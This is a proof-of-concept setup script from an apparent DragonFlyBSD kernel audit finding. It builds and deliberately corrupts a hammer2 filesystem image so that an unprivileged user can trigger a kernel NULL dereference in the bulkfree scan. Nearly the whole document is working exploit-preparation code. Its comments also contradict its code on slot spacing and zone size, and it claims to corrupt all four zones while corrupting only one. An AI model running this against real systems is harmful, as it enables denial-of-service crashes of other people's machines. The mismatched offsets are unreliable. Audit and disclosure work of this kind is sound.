โฌข DragonFlyBSD Kernel Audit
DF-0817 / setup_image.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0817 root-side image setup.
#
# Creates a hammer2 image whose freemap tree contains a FREEMAP_NODE level,
# then corrupts the FREEMAP_NODE block's data CRC so the bulkfree scan's
# chain lookup returns NULL with *errorp set, triggering the bug at
# hammer2_bulkfree.c:1050 (live_chain->error deref when live_chain==NULL).
#
# REPRODUCIBILITY
# ---------------
# The FREEMAP_NODE block lives in a fixed-size reserved area at the base of
# each 2GB zone.  There are 8 "rotation" slots per zone (hammer2 rotates the
# freemap on each modifying sync to keep old copies for crash recovery):
#
#   slot rot = 0..7, each 64KB apart starting at zone_base + 0x20000
#   byte offset = zone_base + 0x20000 + rot * 0x50000
#                 (0x50000 = 5 * HAMMER2_PBUFSIZE = ZONE_FREEMAP_INC)
#
# Rather than trying to predict which rotation slot the active sync picked
# (it changes on every mount/sync), we just corrupt byte 0x100 of the
# FREEMAP_NODE candidate block in EVERY rotation slot of EVERY zone.  The
# active FREEMAP_NODE โ€” whichever one it is โ€” will fail its CRC check on
# the next load, and the bulkfree scan hits the buggy NULL deref.
#
# Each corrupted byte is 0x100 bytes into a 32KB FREEMAP_NODE block, well
# inside the data area, so the recomputed icrc32 differs from the stored
# value (chain->bref.check.freemap.icrc32, which lives uncorrupted in the
# volume header).  This is what we want.
#
# The volume header's own integrity is left untouched, so mount succeeds
# normally.  The attack surface is the BULKFREE_SCAN ioctl, which on the
# audit guest is reachable by an unprivileged user (DF-0815 privilege bypass).

set -e
DEV=vn0
IMG=/root/t/h2.img
MNT=/mnt/h2t

# Clean any prior state
umount -f $MNT 2>/dev/null || true
for d in vn0 vn1 vn2 vn3; do vnconfig -u $d 2>/dev/null || true; done
mkdir -p "$(dirname $IMG)" "$MNT"
rm -f $IMG

# Create an 8GB sparse image โ€” large enough that >4GB of allocations forces
# a FREEMAP_NODE indirection (FREEMAP root blockset has only 4 slots, each
# direct FREEMAP_LEAF covers 1GB => >4GB of allocations => a FREEMAP_NODE).
echo "[setup] creating 8GB sparse image $IMG"
truncate -s 8589934592 $IMG

echo "[setup] vnconfig + newfs_hammer2"
vnconfig -c $DEV $IMG
newfs_hammer2 /dev/$DEV >/dev/null

echo "[setup] mount + populate freemap with INCOMPRESSIBLE data"
mount_hammer2 /dev/${DEV}s0 $MNT
# 6 GB of /dev/urandom data โ€” urandom, not zero, because hammer2's default
# lz4 compression collapses zeros to ~0 bytes and the freemap tree ends up
# with no FREEMAP_NODE level at all.  Random data forces real allocations
# across multiple 1GB leaves, requiring a FREEMAP_NODE.
i=0
while [ $i -lt 30 ]; do
	dd if=/dev/urandom of=$MNT/file$i bs=1m count=200 2>/dev/null
	i=$((i+1))
done
sync
echo "[setup] freemap before corruption (expect freemap_node.0 line):"
hammer2 freemap /dev/${DEV}s0 2>&1 | head -12

echo "[setup] unmount (flush + drop in-memory chains)"
umount $MNT
vnconfig -u $DEV
sleep 2

# Corrupt byte 0x100 of the FREEMAP_NODE block in EVERY rotation slot of
# EVERY 2GB zone.  The active FREEMAP_NODE โ€” whichever slot/zone it lives
# in โ€” will fail its CRC on the next load.
echo "[setup] corrupting all FREEMAP_NODE rotation slots in all 4 zones"
ZONE=0
while [ $ZONE -lt 4 ]; do
	case $ZONE in
		0) ZBASE=0 ;;
		1) ZBASE=8589934592 ;;
		2) ZBASE=17179869184 ;;
		3) ZBASE=25769803776 ;;
	esac
	[ $ZBASE -lt 8589934592 ] || break   # image is only 8GB
	ROT=0
	while [ $ROT -lt 8 ]; do
		OFF=$((ZBASE + 0x20000 + ROT * 0x50000 + 0x100))
		printf "\252\253\254\255" | dd of=$IMG bs=1 count=4 seek=$OFF conv=notrunc 2>/dev/null || true
		ROT=$((ROT+1))
	done
	ZONE=$((ZONE+1))
done

echo "[setup] re-attach + mount READ-ONLY (corruption persists; bulkfree will re-read)"
vnconfig -c $DEV $IMG
mount_hammer2 -o ro /dev/${DEV}s0 $MNT
chmod 755 $MNT
echo "[setup] done. mount status:"
mount | grep h2t
echo "[setup] now run as unprivileged user:  ./df0817 $MNT"